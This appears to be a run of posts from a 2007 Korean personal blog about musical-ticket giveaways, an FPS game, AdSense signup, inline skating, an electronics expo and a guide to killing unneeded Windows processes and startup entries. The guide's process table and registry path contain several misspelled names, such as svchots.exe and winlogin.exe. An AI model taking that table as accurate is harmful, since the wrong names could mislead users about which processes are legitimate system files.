와 저번에 텔미 온어 선데이 티켓 이벤트에 이어 오늘 공지 사항을 확인해 보니 뷰티풀 게임 티켓 이벤트를 하는 군요. 저번 이벤트에 선정 되어서 앤님과 함께 오랫 만에 즐겁게 공연두 보구 오븟하게 데이트도 하구 했었는데 뮤지컬 공연 이벤트를 또 한다는 공지 사항이 떴네요~


용을 보니 공연장은 LG아트 센터이구 역삼동 이네요 11/23, 11/25, 11/27 날짜의 티켓을 이벤트로 준다고 공지 되어있구요 5명, 5명, 10명 이니까 저번에 텔미온어 선데이 와 같은 인원에게 혜택이 돌아 가겠군요 크크


는 저번 공연두 갔다왔구 또 이것저것 할 일두 있구 해서 이번에는 응모를 안했어요~ 근데 저번 이벤트 티켓 당첨되었을때 정말 오랬만에 공연을 보면서 데이트도 하구 좋았답니다. 이런 이벤트를 개최해주신 티스토리에 감사드리구요. 많은 분이 응모하셔서 오븟한 공연 관람 데이트도 하시구 했으면 좋겠어요~ >_<


사용자 삽입 이미지

첨 되신 블로거님 공연 댕겨오셔서 어땠는지 이야기 해주기예요~ 크크


2007.11.16 -프미케-

마전 초유의 인내심을 자극하던 마우스를 사용하다가 앤님께서 생일 선물로 주신 유선 마우스를 사용하고 있어요 MX-518 게이밍 마우스인데 실제로 마우스 해상도가 조절 되더군요. 별로 FPS 게임을 하지 않았던 터이라 크게 중요시 되지 않았는데요 실제로 차이가 있나 궁금해 졌어요


단은 FPS게임을 하나 골라야 되는데 컴터의 사양이 그리 좋지 않아 이전에 하던 워록 은 자꾸 화면이 버벅 거리더라구요 그래서 이것 저것을 둘러 살펴보다가 예전에 서든어택이 잼나다는 이야기를 들어 서든 어택을 했답니다.


레이를 해보니 정말 끊김없이 잘움직이구 마우스도 잘움직네요 한판을 해보니 역시나 하나두 못잡았군요 신기하게 마주쳐서 총을 쏴두 상대는 맞아두 안죽고 제껀 한방 맞으면 죽고 참 신기했어요 일단 포인트 사용법을 알아서 이총 저을 사도 역시나 같네요


끔씩 한두 판씩 하다보니 벌써 병장이되었어요 그래두 여전히 웨어하우스에서 사람수 채워질때까지 쏘는거 하구있는데 여전히 한 3~5명 잡으면 많이 잡더라구요 -_-;; 다른 사람은 정말 많이 잡던데..... 인터넷을 검색해봐두 무언가 그냥 일반 적인 이야기 더라구요


무래두 클랜 이런거 가입해서 해야할까봐요 크크..... 정말 난해한 게임 이라구 생각 되어요


2007.11.11 -프미케-

 마전 티스토리 이벤트에 선정되어 뮤지컬 텔미 온어 선데이 관람을 하게 되었어요 시간두 평일 8시 공연이라 무리 없이 관람을 할수 가 있었답니다. 일단 종로 5가 라고 약도에서 본 것이 기억이 나서 종로 5가 역으로 향했답니다. 그곳에서 앤님과 만나서 두산 아트 센터로 이동 하기로 했었는데 아무도 약도출력 해가지 않은 바람에 아트 센터위치를 알지 못했어요


종로5가 우체국이 기억이나서 우체국 방향으로 걸어갔답니다. 상가들 사이에 우체국이 보였지만 아트 센터 건물을 보이지가 않았어요 일단 길을 따라 종로 3가 방향으로 내려가다 보니 두산 이라고 써있는 빌딩이 나왔어요 이곳은 아닌것 같고 길을 건너면 종로 3가 이고 해서 일단 종로5가 우체국 쪽으로 돌아가는 길에 두산아트 센터가 지하철 역에서 가깝다는 말을 듣고 아트 센터로 향했습니다.


사용자 삽입 이미지

려준 길을 가보니 목적지에 도착 했어요. 들어가는 입구에 크게 텔미온어 선데이가 걸려있는요 안으로 들어가보니 상당히 깨끗한 내부모습현대적인 디자인이 눈에 들어왔어요 티켓을 받아야 하는데 안내를 받아 티켓 박스를 찾아 보니 두 개의 티켓 박스가 보였답니다. 전광판에 이벤트 티켓이라는 것을 확인하고 그곳에서 확인 후에 티켓을 받게 되었답니다.


사용자 삽입 이미지

식사 전이라 무엇을 좀 먹어야 하는데 공연 시간이 얼마 남지 않아 나가서 저녁을 먹고 오기에는 시간이 좀 애매했어요 들어올때 1층커피숍이 있어 조각케익과 커피로 일단 간단히 먹을 생각으로 갔는데 마침 샌드위치를 파는군요 참치가 가득 들은 녹차식빵 샌드위치였는데 배가 고파서 그랬는지 정말 맛있었답니다.


사용자 삽입 이미지

연 시간이 돼서 공연장으로 입장을 했답니다. 좌석 배열이 1열로 늘어서지 않고 둥근 형태로 무대를 향하게 좌석 배치가 되어있었어요 공연을 보면서 생각 한것이 조명장치가 정말로 좋았어요 조명에 따라 무대 분위기가 바뀌고 그랬는데 정말로 다른 분위기가 한곳에서 연출 되었답니다.


사용자 삽입 이미지


1시간 반 의 공연 이였는데 여느 대형 뮤지컬 공연하고는 약간 분위기가 다른것 같았어요 이전에 본 그리스 와 같은 뮤지컬에서는 여러명의 배우 화려한 무대소품의상이 있었는데 이 공연에서 는 1명이 등장 하고 조명과 소품의 변화로 무대 분위기가 연출 되는 것 같았는데 주인공의 심경이나 연기중인 상황이 정말 잘 느껴졌답니다. 공연 내내 대사가 노랫말로 진행되어서 듣기도 좋았습니다. 화려한 뮤지컬에 익숙해져 있어 약간 당황은 되긴했지만 이것 또 한 색이 뚜렷해 여기에서만 얻을수 감동이 따로 있는것 같다고 느꼈구요 글로 잘 표현은 안되지만 한번 보시면 정말 새로운 느낌이라는 것을 알 수 있을 것 같아요


사용자 삽입 이미지

으로 나오니 9시가 넘어버렸네요 옆에 치킨 집이 있어 이것으로 저녁을 먹은후 앤님과 광화문으로 천천히 걸으면서 오븟한 거리 데이트도 했답니다. 이벤트 덕분에 좋은 공연도 보구 앤님과 오붓하게 데이트도 하고 정말 좋은 시간이 되었군요 이렇게 좋은 이벤트를 개최해주신 티스토리에 정말로 감사드립니다.


2007.11.07 -프미케-
 

마전 티스토리 공지사항에서 ‘뮤지컬 '텔미온어선데이(Tell Me On A Sunday)'에 초대합니다!’라고 떠있어서 신청을 했어요 발표가 10월 29일인데 마침 그때가 동원 예비군 훈련 기간과 겹쳐 있어서 훈련 기간중에는 앤님의 연락처를 이용해달라고 부탁 했답니다.


련을 마치고 집에와서 블로그에 로그인을 해보니 '유일한 남자 블로거같던데요? 축하합니다. ^^' 이렇게 댓글이 남겨져 있어서 눌러 봤더니 evelina님께서 이전에 작성한 ‘뮤지컬 텔미 온어 선데이를 신청하다!!(티스토리 이벤트)’ 포스트 아래에 댓글을 남겨주셨어요


지사항 블로그 가서 확인해보니 정말 제가 맨위에 떡하니 써있네요 앤님께 전화 했더니 안내 전화 왔었다구 전해 주더라구요 오랜만에 같이 보는 공연이라 앤님두 내심 기대하시구 계신 것 같군요 정말 같이 공연이나 영화를 본지가 정말 오래됬는데 티스토리 이벤트 덕분에 오붓한 데이트 시간을 가질 수 있는 기회가 생겼습니다.


사용자 삽입 이미지

정해주셔서 감사합니다. 꼭 후기 포스트 올릴께요~ ^^v


2007.11.02 -프미케-

녕하세요? 이번에도 티스토리 초대장이 배포 되었다고 올라와 있군요 많은 양은 아니지만 저한테도 초대장이 배포 되었군요 초대장이 필요하신 분들 말씀 주시면 초대장을 드리겠습니다. 전부는 아니지만 요즘 스팸 블로거 분들이 좀 있으신것 같습니다. 그래서 배포는 선착순으로 하지 않고 나름대로 선정하여 스팸 블로거가 되지 않으실 분이라고 믿음이 가는 분께 드리도록 하겠습니다. 혹시라도 스팸 블로거가 되실 분이라면 바로 신고 하도록 하겠습니다.


바램은 비슷한 주제로 같이 이야기 하고 공유하실분 이라면 더욱 좋겠지만 그렇지 않더라도 악의적의지 않게 블로그를 성실히 운영하실 분이라면 초대장을 보내드리겠습니다.

 ● 초대장을 신청하는 양식은 아래와같습니다.

  ① 초대장을 받을 E-MAIL 을 기재해주세요

     (이메일을 기재하지 않으시면 초대장을 보내드릴 수가 업으니 양해 부탁드립니다.)

  ② 자신이 만들 블로그에 대한 간략한 소개를 해주세요

     (이 내용을 참고 하여 선정 하도록 하겠습니다. 기존에 다른곳에서 블로그를 운영하시다

      티스리로 옮기실 목적이라면 링크도 함께 적어주세요)

  신청은 반드시 이 포스트(글) 아래에 댓글로 달아주신 분에 한해서만 배포됩니다.

    (방명록에 기재하실 경우 제가 확인이 어렵기 때문에 이 포스트(글) 아래 댓글로 달아주시기를

     부탁드립니다.)

  이메일을 기재해야 하기 때문에 가능한 비밀댓글로 달아주시기 바랍니다.


가 드릴 수 있는 초대장한정 되어있어 꼭 필요한 분들께 드리고 싶은 마음에 선착순이 아니라 선정하는 방식을 선택하게 되었습니다. 만약 ‘그냥 줘두 될꺼 뭐 저렇게 생색 낼까?’ 라고 생각 하신분이 계신다면 아무쪼록 양해 부탁드립니다.


감사합니다.


2007.09.28

프미케올림

안녕하세요? 애드센스 가입하기 포스트는 이전에 쓴 포스트인데요 확인 해보니까 첫 화면 표시등 이전의 내용과 조금씩 바뀐 부분이 있네요 그래서 수정, 보강 해서 다시 작성했습니다. 가능한 자세히 작성을 하려고 노력했어요 애드센스를 가입하려고 하는데 어려움이 계시면 포스트의 내용대로 하시면 어려움 없이 가입 할 수 있을 것 이라 생각되어요 포스트 내용대로 했는데 잘 안되시면요 댓글로 질문 남겨주시면 확인 하는대로 대답해 드리겠습니다.


1. 블로그 상단에 있는 프미케의 낙서장 제목 옆에 있는Google AdSense로 귀하의 웹사이트에서 수익을 창출하세요버튼을 누릅니다.


사용자 삽입 이미지

2. 애드센스 가입 페이지로 연결 후에 여기에서 지금 가입’ 버튼 을 누릅니다.


사용자 삽입 이미지

3. 신청자 정보를 입력하는 란에 아래 그림에서 설명한 같이 입력 후에 ‘정보제출 버튼을 누르면 가입 신청이 됩니다. 주소 등의 내용 영문’으로 기재하며 영문 주소 정보의 기입에 어려움이 있으신 들께서는 여기 누르셔서 한글 주소를 영문 주소로 변환하셔서 기입 하시면 됩니다.


사용자 삽입 이미지

참! 그리구요 전화번호 입력하실때요 (국가번호)-(국번)-(전화번호)이렇게 기재하셔야 하거든요 예를 들어서 02)123-4567 의 전화번호라고 가정 한다면 대한민국 국가 번호인 +82 가 제일 앞에 오구 그다음에 지역번호인 02를 쓰는데요 여기에서 앞에 0이 붙어있으면 쓰지 않고 뒤에 것을 쓴답니다. 이렇게 하면 +82-2-123-4567 이렇게 적으시면 되구요 휴대폰 경우도 마찬가지로 010-123-4567 이라면 +82-10-123-4567 이렇게 표시 하시면 됩니다.


4. 정보 제출하게 되면 계정을 생성하는 내용의 페이지 나오며 계정을 만들기위해서는 기존에 사용하고 계시는 이메일 있어야 합니다. 모든 가입과정을 마치셨으면 인증메일정상적으로 발송했다고 메시지가 나옵니다.


사용자 삽입 이미지

5. 메일을 받으셨으면 내용있는 링크를 클릭하시면 인증 됩니다. 인증 하신후에 얼마간(약 2~5)정도를 기다리시면 애드센스 광고를 게시해도 된다는 허가 메일 게 됩니다. 허가 메일을 받으신후 애드센스를 로그인후 컨텐츠 광고 및 추천 광고를 생성하여 게시할 수 있습니다. 위의 절차를 통하여 애드센스에 가입하실수가 있습니다.


사용자 삽입 이미지

다음에는 애드센스의 설정과 광고 생성 및 게시에 대해서 작성해 보도록 하겠습니다. 그럼 다음에 뵐께요 이 글을 읽으신 모든 분들이 가입에 성공하시기를 바랍니다. 

2007.10.22 -프미케-

'블로그 > 구글애드센스' 카테고리의 다른 글

구글 애드센스 PIN을 받다.  (22) 2007.10.11
구글애드센스 정책  (0) 2007.04.23
구글애드센스?  (0) 2007.04.23

금전에 블로그에 로그인 해서 들어가봤더니 공지사항에 ‘뮤지컬 '텔미온어선데이(Tell Me On A Sunday)'에 초대합니다!’라는 제목을 발견하고 들어가봤더니 티스토리에서 뮤지컬 초대장을 나줘준다고 하는군요


성을 위한 초대장이라고 하구요 ‘여성블로거’또는 ‘'여자친구와 함께~ 꼭! 보고싶은 남성 블로거(추후 여자친구와 다녀왔다는 보고를 해야만합니다.)가 신청을 할수 있다구 하는군요 게다가 1인 2매를 제공준다고 해서 앤님과 같이 볼수가 있군요 >_<


님께서 공연을 좋아해서 항상 같이 가자고 했었는데 이번 2007년도에는 한번두 같이 가지를 못했어요 그래서 낼름 공지사항보구 신청을 했답니다. 10명 선정해서 초대장 준다고 하는데 꼭 선정 됬으면 하는 바램이예요 크크



직 공지사항을 보지 못 하신 분이 있으시면 신청하셔서 앤님과 오붓하게 뮤지컬 관람의 시간을 가져보는게 어떨까요?


선정해 주세요~ ㅠ.ㅠ 

2007.10.22 -프미케-

침에 일찍 일어나면 운동을 하러 호수공원을 간답니다. 한바퀴가 5키로 미터가 더되기 때문에 걷거나 뛰게 되면 시간이 많이 걸리는 터에 인라인을 타고 공원을 한바퀴 돌고오면 상쾌한 기분이 들어서 너무 피곤하지 않으면 아침 혹은 저녁에 종종 인라인을 타러 갑니다. 그저게 아침에 일어나 보니 5시 30분이 안된 시간이군요 일단 밖을 보니 비도 안오고 해서 인라인을 신고 엘리베이터를 타고 내가서 호수 공원으로 향했어요 6시가 다 됬는데도 해가 뜨지 않아 어두웠어요 공원에서 좀 있다보니 날이 밝아 오는것이 보였였습니다. 날이 조금 밝구 호수를 처다보니 물안개가 피어오르고 아파트와 건물들이 호수에 비친 모습이 정말 정취 있게 느껴졌답니다. 카메라를 가지고 나갔으면 사진을 찍고 싶었는데 그냥 집에서 인라인만 달랑 신고 나가서 아쉬움을 뒤로한채 집으로 돌아 왔답니다.


제 아침에도 일어났더니 5시 30분이 조금 넘은 시간이었어요 아침에 이것저것 부산을 떤 후에 인라인을 타러 나갔답니다. 전날의 기억을 되새기며 ‘오늘은 꼭 카메라 가지고 나가야지.....’하며 똑딱이 카메라를 츄리닝 주머니에 낼름 넣구 엘리베이터를 타고 내려갔답니다. 6시가 넘어버려서 그런지 날이 밝아 버렸네요 그래도 이왕 가지고 나온 카메라이니 사진이나 찍자 하면서 인라타면서 이리 저리 사진을 찍어 봤어요 공원이 집이랑 아주 가까워서 호수공원에서 사진을 잘 찍지 않았는데 아침에 뷰파인더에 비친 모습이 새롭게 느껴졌답니다.


사용자 삽입 이미지

호수공원으로 가는 육교 위에서 찍은 사진이랍니다. 아침에 배경으로 보니까 자주 지나다니는 길이지었만 아침에는 이렇게 보이는구나 하는 생각이 드는군요


사용자 삽입 이미지

공원 중간쯤에서 찍은 사진이예요 여기는 거의 오피스텔 건물들이 많이 있답니다.


사용자 삽입 이미지

인라인 타고 있는 프미케 예요 예전에 보호대 다 하구 나갔는데 요즘은 인라인이 익숙해져서 그냥 보호대 안하구 타고 있어요


사용자 삽입 이미지

호수에 건너편의 건물들이 물에 비친 모습이 보기 좋아서 찍었답니다.


사용자 삽입 이미지

공원에 나무가 많이 있어요 쭉쭉 뻗은 나무가 여러 그루 모여 있어 찍어봤답니다.


사용자 삽입 이미지

돌아오는길에 육교에서 킨텍스 쪽을 찍어봤어요 플래시가 터져서 그런지 어둡게 나왔는네요 그래두 나름 괜찮게 보여서 올려봅니다.


상에서 일들을 한번 사진으로 찍어보니까 새롭게 보이는것도 있고 그동안 미처 보지 못하고 넘어갔던 것들도 보이는 것 같군요 오늘은 한번 찍기 편한 똑딱이 카메라를 들구 일상의 모습을 뷰파인더로 들여다 보는 것이 어떨가요?


2007.10.18 -프미케-

전에는 블로그에 대해서 그다지 관심을 가지고 있지 않았어요. 네이버에서 블로그에 대한 이야기는 많이 들어보았지만 정확히 어떤것인지 무엇을 할 수 있는 것인지에 대해서는 막연하게만 들었을뿐 실제로 정확한 의미는 몰랐답니다. 그래도 개인 홈페이지가 하나쯤 있었으면 좋겠다라는 생각을 하고 있었는데 막상 개인 홈페이지를 제작해보려고 해도 서버도 호스팅도 해야 되고 해서 블로그에 대한 관심이 점점 생기기 시작했답니다. 이것 저것을 고려하던중에 개인 블로그를 태터툴스라는 것을 이용해서 만들면 좋다는 이야기를 들어서 인터넷을 검색해보니 태터툴스를 사용하려면 호스팅을 해야한다고 하네요 마침 티스토리태터계열로 서비스를 한다고 해서 블로그를 이곳에 만들게 되었답니다. 일단 주제를 정해야 하는데 제가 관심이 있던 전자/컴퓨터를 위주로 해서 이것저것 설정 해서 작성을 하려고 하다보니 귀찮기도 하고 무엇을 써야할지도 막막하고 해서 포스팅잘 이루어지지를 않더군요 그래서 그냥 놔둘까 하다가 그때 작업 중인것과 예전에 가지고 있던 5.25 디스크 드라이프 컴퓨터 잡지들을 그냥 자연스레 소개 해보니 하나 두 개 씩 포스트가 늘어나기를 시작 하더군요 그이후 차츰차츰 자연스레 포스팅을 하다 보니까 자연스럽게 포스트가 하나 둘 늘어나기 시작했답니다.


소중한 댓글들...

사용자 삽입 이미지
로그를 만들고 포스팅을 하면서 한참 댓글이 달리지 않아 누가 내가 쓴 글을 보기는 보는것일까? 이런 의문이 생기기를 시작했어요 일단 자신의 포스트에 댓글이 달아주면 애써서 작성한 것이라 참 기쁘답니다. 여러 가지 블로그 팁을 읽으면서 다른 블로거들의 포스트에 적극적으로 댓글을 달으라는 것을 읽게 되었답니다. 그냥 그것을 따라서 같은 관심분야의 포스트에 댓글을 달기 시작했답니다. 그랫더니 실제로 제 포스트에도 댓글이 달리기 시작했답니다. 또, 블로그의 포스트를 통해서 서로의 의사소통을 할 수 있다는 것을 알게 되었답니다. 자신의 생각을 이야기 하지 않으면 남이 알 수도 없고 또 그에 대한 답변이나 조언 반응을 얻을 수 없듯이 관심있는 포스트에 대해서 적극적인 표현을 한다면 포스트를 작성한 블로거분 역시 내 포스트와 생각이 같거나 관심을 가지고 계시다면 생각을 말해 주시니까요 여러분들도 적극적인 댓글을 생활화하시면 보다 재미있게 블로그를 운영 하실 수 있답니다.


유럽배낭여행을 다녀오다!!

사용자 삽입 이미지
번 여름에는 이탈리아스위스를 여행하게 되었어요 기간을 길게 잡을 수 가 없어서 두 나라만 여행하게 된 것이 아쉽기는 했지만 여러 가지를 많이 보고 왔답니다. 다녀와서 사진을 정리하다보니 여행중의 내용을 포스팅 해볼 생각이 들었어요 여러 장의 사진을 편집하고 여행 중의 내용을 기억하면서 하나씩 작성하다보니 여행이 주제인 블로그로 알고계시는 분들도 꽤 되시구 배낭여행을 준비하고 계시는 분들에 대한 방문이 많이 이루어 졌던것 같아요 이렇게 여기에 적어 놓다보니까 가끔 다시 읽어보면 그때에 대한 추억이 새록새록 떠오르기도 하는군요. 소개 목적의 포스트 뿐만아니라 개인적인 추억을 떠올리며 볼수도 있어서 정말 좋습니다.


내 입맛에 맞는 스킨 편집

사용자 삽입 이미지
음에는 기존에 있는 스킨을 선택해서 사용했는데 점점 테두리배경이며 입맛에 맞게 변경하고 싶다는 생각이 들었어요 하지만 스킨을 변경하려면 소스를 편집해야 되는데 처음에 꽤 어렵게 느껴졌답니다. 이리저리 자료를 찾다보니 http://help.tattertools.com/ko/Skin_Tutorialal 에서 스킨에 대한 구조와 설명을 찾을  수가 있었어요 처음에 Daisy님께서 만드신 것을 스킨 선택을 통해서 사용하고 있었어요 이것을 수정해서 지금과 같은 형태의 스킨을 사용하게 되었군요 스킨 파일을 편집할수 있게되니 애드센스의 배치도 원하는 위치에 할 수 있어 여러모로 편리한점이 많답니다. 시간이 되면 더 자세하게 스킨에 대한 구조를 익혀두는 것도 매우 좋다고 생각하고 있답니다.


티스토리로의 초대

사용자 삽입 이미지
로그를 운영하다 얼마 지나지않아 자주 방문하는 블로그인 EVELINA님의 블로그에서 티스토리 초대장을 배포 한다는 포스트를 보게 되었어요 문득 초대장은 어떻게 배포되는 것일까? 하고 궁금해서 초대하기 관리자 메뉴를 눌러봐도 그냥 내용이 없는 페이지 만 나오더군요 얼마 전에 초대장이 배포되었다는 공지사항을 접하게 되었어요 초대하기 관리자 메뉴를 눌러보니 정말 초대 장이 생겼군요 이것을 보구 초대장 배포 포스트를 작성하니까 정말로 신청하시는 분의 댓글이 달리는 군요 정말 초대장을 보내고 얼마 있다가 다시 확인해보니 블로그링크가 생성되있는 것을 확인할 수 있었답니다. 링크가 초대자와 연결하는 매체가되어 참 좋다고 생각됩니다. 


애드센스 핀을 받다!

사용자 삽입 이미지
드센스를 게시한지는 수개월이 지났지만 확인해보면 포스트가 없어서 그런지 아주 조금씩의 수익이 다른 분들이 수표를 받았다는 글을 보면서 부러워 하고 있었지만 이전엔 블로그에 포스팅이 잘안되서 그런지 조금씩 조금씩 수익금이 올라가더니 드디어 저번달에 50달러를 돌파해서 핀을 받을수가 있게 되었어요 핀을 어떻게 신청해야 할까? 하고 있었는데 금액이 넘으면 자동으로 핀이 발송된다고 하는군요 3주쯤 지나서서 드디에 이을 담은 우편물을 받았어요 핀이 오는데 굉장히 오래 걸린다는 분이 계서서 한참 지나서나 오겠지 하고 있었는데 생각보다 빨리 받게되니 기뻣답니다.


현재...

사용자 삽입 이미지
금도 그렇게 자주는 아니지만 조금씩 생각나는 것들을 포스팅하고 있답니다. 얼마전 티스토리 백일장에 대한 공지가 있어서 그동안 블로그 운영에대한 내용포스팅 해야겠다고 생각하고 있었는데 이제야 작성하게 되는군요 티스토리를 하면서 이전에 관심 밖이었던 블로그에서 이제는 생각하고 있었던것, 일상, 관심사항 등을 표현해줄수 있는 매개체로 자리 잡게 되었네요 아직 블로그에 관심이 없으신 분이라도 같은 생각을 가지신 블로거 분들과 서로의 생각을 교류 하며 블로그의 매력에 빠져 보시는 것이 어떨까요?

2007.10.17 -프미케-
마 전 친척 동생 집에 갔었을 때 일입니다. 컴퓨터가 너무 느려서 게임 및 여러 가지 작업을 하는데 애로사항이 있어 컴퓨터를 하나 사려고 하니 추천을 해달라고 했습니다. 컴퓨터의 사양을 보니 그렇게 나쁘지는 어느 정도 더 사용할 수 있는 기종이인지라 이것저것을 점검해보던 도중 쓸데없는 프로세스들이 가득 있는 것을 발견하고 제거를 해보니 컴퓨터를 사용하데 문제가 없을 정도의 성능이 나오는 군요 일단 컴퓨터가 느려지면 바이러스를 의심 할 수도 있으나 그래도 해결이 되지 않으면 프로세스 목록도 한번 체크를 해보시면 해결이 될 수 있다고 생각됩니다.


도우에서 프로세스는 현재 작업을 하고 있는 프로그램이라고 할 수 있습니다. 작업을 하기 때문에 컴퓨터의 자원을 소모(CPU, RAM) 하게 됩니다. 실제로 프로세스가 자리 잡으려면 일정 공간의 메모리가 사용되기 됩니다. 쓸데없는 프로세스가 많아진다면 메모리의 부족으로 인해 성능이 떨어지게 됩니다. 또, 프로그램을 종료 하였는데요 죽지 않는 거나 비정상적으로 작동하는  프로세스가 발생할 수 도 있습니다. 이런 경우에도 실제로 작업은 하지 않으나 프로세스가 존재하기 때문에 시스템 자원만 소모하게 되어 컴퓨터를 느려지게 합니다. 비정상적으로 종료 된 프로세스는 CPU를 연산을 하고 있을 가능성이 크기 때문 더욱더 컴퓨터를 사용하는데 더욱 느려지게 됩니다.


쓸데없는 프로세스를 제거 해주는 것으로 느려졌던 시스템의 성능을 향상 시킬 수 있습니다. 윈도우에서 CTRL + ALD + DEL 키를 눌러 작업 관리자를 선택하면 아래와 같은 화면이 나오게 됩니다.


사용자 삽입 이미지

림에서 보는 것과 같이 프로세스 탭을 누르게 되면 현제 자신의 컴퓨터에서 사용되고 있는 프로세스 목록이 보이게 됩니다. 이곳에서 필요 없는 프로세스를 클릭한 후에 작업 종료 버튼을을 눌러 프로세스를 제거 할수 있습니다. 하지만 컴퓨터를 부팅 하게 되면서 실행되는 프로그램 프로세스가 있기 때문에 재부팅을 하게 되면 다시 생성되게 됩니다. 그것을 제거 하려면 XP의 경우에는 시작 - 실행 을 눌러 msconfig 를 실행 시켜 시작 프로그램을 제거 해주면 해결 되며 2000의 경우에는 레지스트리를 편집하면 됩니다. 시작 - 실행 - regedit 입력후 에 HKEY_LOCAL_MUCHIN - SOFTWARE - MICROSOFT - WINDOWS - RUN 경로에 있는 내용을 보시게 되면 자신의 컴퓨터가 부팅될 때 시작되는 프로그램의 목록이 나옵니다 이곳에서 필요 없는 내용을 지워주시게 되면 다시 부팅하게 되면 시작 되지 않게 됩니다.


래는 윈도우의 기본프로세스를 정리 한 것입니다. 이것외에도 사용자의 설정에 따라 여러 가지가 있지만 대부분의 윈도에서는 아래와 같은 프로세스를 목록가지고 있으므로 참고 하시면 많은 도움이 될 것입니다.


프로세스

설          명

explore.exe

윈도우의 기본쉘 프로세스입니다. 제거하시면 바탕화면에 있는 내용이 사라지게 됩니다.

ctfmon.exe

새로운 텍스트 서비스 프로세스입니다. 윈도우의 정식프로세스는 아니며 오피스 xp에서부터 도입된 프로세스 이므로 제거하셔도 무방합니다

wuauclt.exe

윈도우 자동업데이트 프로세스입니다.

tastmgr.exe

윈도우즈 작업관리자 프로세스입니다.

iexplore.exe

인터넷 익스플로러의 프로세스입니다. 간혹 익스플로러창이 하나도 수행 되지 않는데 이 프로세스가 목록에 있다면 수동으로 제거해 주셔야 합니다.

spoolsv.exe

프린터 스플링 프로세스입니다. 이것을 제거 하시면 프린터 출력이 되지 않습니다.

svchots.exe

대부분의 컴퓨터에서 이 프로세스를 1개 이상 보실수 있습니다. dll의 실행을 그룹화 하는 프로세스입니다.

winlogin.exe

윈도우의 로그온 작업을 수행하는 프로세스입니다.

lsass.exe

winlogon.exe 요청에의해 인증과 관련된 부분을 처리하는 프로세스입니다.

services.exe

윈도우 서비스를 관리 하는 프로세스입니다.

internat.exe

우측하단 트레이에 한영 표시를 하는 프로세스입니다.

system.exe

쓰레드를 처리하는 윈도우의 기본 프로세스입니다.

System Idle Process

CPU자원을 관리 하는 프로세스입니다. 숫자가 클수록 CPU의 자원이 많이 남아있는 것입니다. 보통 프로그램이 수행되고 있다면 99~ 97의 수치를 보실 수 있습니다.

Csrss.exe

윈도우콘솔을  관장하고  쓰레드를 생성 삭제하며 16비트 가상 MSDOS 모드를  지원 하는 프로세스입니다.

smss.exe

사용자 세션을 시작하는 기능을 하는 프로세스입니다. 이 프로세스는 시스템 쓰레드에 의해 실행되며, Winlogon, Win32(Csrss.exe)을 구동시키고, 시스템 변수를 설정합니다.

mtask.exe

예약작업을 처리하는 프로세스입니다.

winmage.exe

윈도우 클라이언트를 관리 하는 프로세스입니다.


스템의 성능이 생각보다 나오지 않는다고 생각되시면 자신의 프로세스를 한번 점검해 보시고 정리해주시면 충분히 향상된 컴퓨터의 성능을 찾으실수 있습니다.


- 2007.10.16 프미케 -

마전에 인터넷에서 전시회 일정을 검색하던 중에 KES2007(한국전자전)일산 킨텍스에서 10월 9일부터 13일까지 한다고 하네요 가봐야지 했는데 어제 마침 시간이 되었어요 한 오후 3시쯤 구경하면 딱 좋을것 같아 킨텍스로 향했답니다. 집에서 가까운 거리라 전시회 마치면 집으로 걸어오기두 좋구 그래서 낼름 갔답니다. 그건 전자 전시회는 잘 안가서 많이 모 새로운게 있을까? 하구 들어갔답니다. 평일인데도 불구하고 사람이 많았어요


사용자 삽입 이미지


단 안에 들어가보니 여러개의 부스화려한 디스플레이가 눈에 들어오는군요 이리저리 돌아다니면 마침 찾던 파워부품 이있어서 옆에 계신분한테 “이거 출력 어디까지 나오나요?” 라구 물어봤는데 아저씨가 대뜸 일본어로 모라구 막 말하더군요 순간 당황해서 가만이 있었는데 옆에 아줌마가 이번엔 영어로 말하네요 그래서 그냥 ‘가다로꾸 please~' 라고 해서 카달록을 받았답니다. 이번엔 한국 업체 뿐만 아니라 중국 업체와 일본 업체들이 참여를 했더라구요 예전엔 다 한국 업체뿐이었던지라 참 갑자기 신기한 말을 하니까 참 당황되네요


사용자 삽입 이미지


리저리 돌아다니다 보니 메이저 급의 회사에서는 대형 PDP 와 LCD 들을 선보였네요 색상두 많이 좋아졌구요 음... 앞에 설명에는 머라구머라구 기술적인 요소를 잘 적어 놓구 이뿐 언니님들께서 막 헤드셋이랑 반짝이 옷입구 옆에서 신제품에 대한 설명을 해주는군요 상당히 길게 설명해주시는 것 같은데 대충 그제품이 좋다구 설명해주시는것 같군요 그래서 저두 한번 질문해 봐야지 하구 물어봤답니다. 한 102인치 티비인지 모니터인지가 눈에 들어와서 “저거 얼마예요?” 라구 물어봤더니 역시나 가격이 엄청 비싸네요 그냥 있는거나 잘 써야지 하면서 다른데로 이동했어요


사용자 삽입 이미지


번에 간곳엔 신기한것을 전시해놨네요 OLED라고 하는것을 전시했는데 모니터가 정말 얇군요 두께가 3미리 미터라네요 카드보다 더얇아요 색깔 구현도 무지 잘되구 해서 씩씩하게 “그거 얼마예요?” 라구 물어봤더니요 아직 한국에 판매 안하는데 다른 나라에서 시판한 가격 약 270만원 정도라고 하네요 11인지 정도 밖에 안되보이는 모니터인데 굉장히 비싸구나 하면서 나중에 싸지면 쓸수 있겠구나 하는 생각이 들었답니다. 전시된 제품들은 정말 이지 이제 새로 나온 기술이 접합된 것들이라 아직 대량 생산이 안되는지 정말로 비쌌어요 그래도 이런전런 신기한 제품 들을 보면서 오랜만에 전자전에 가봤더니 신제품이나 여러 가지 부품, 제품 설명해주시는 이뿐 언니 등 정말 볼것이 많았답니다.


2007.10.12 -프미케-


사용자 삽입 이미지



드센스를 달고 몇 달이 지났는데 저번달 말 쯤해서 50달러가 넘어 있네요 일단 PIN 이 발송되는 금액인데 핀 발송을 신청해야 하는 것인줄 알았는데 그냥 금액 넘으면 발송이 된다구 하는군요 이리저리 에드센스 핀 발송에 대한 글을 읽어보고 다녔는데 오래 걸린다는 이야기도 있고 빨리 온다는 사람도 있고 받는데 까지 정확한 기간을 가늠할 수가 없었답니다.

번주 쯤인가? 해서 집에 구글에서온 우편물이 있더라구요 구글 로고가 딱 눈에 띄는군요 아래 쪽에 한글로 작성되어진 ‘중요계정 포함’ 이 글자가 PIN 임을 짐작케 해주는군요 일단 주소는 영어로 되어있지만 안에 열어보면 내용은 한글로 되어있어서 그냥 거기있는 대로 따라하기만 하면 핀을 입력하데는 어렵지 않답니다. 음... 받는데 까지는 한 3주 정도 소요된것 같아요

두달이 지나도 핀을 받지 못했다는 글에 좀 기다려야 겠지 하고 생각하고 있었는데 예상외로 빨리 받으니 기쁘네요 ^^v 

2007.10.11 -프미케-

'블로그 > 구글애드센스' 카테고리의 다른 글

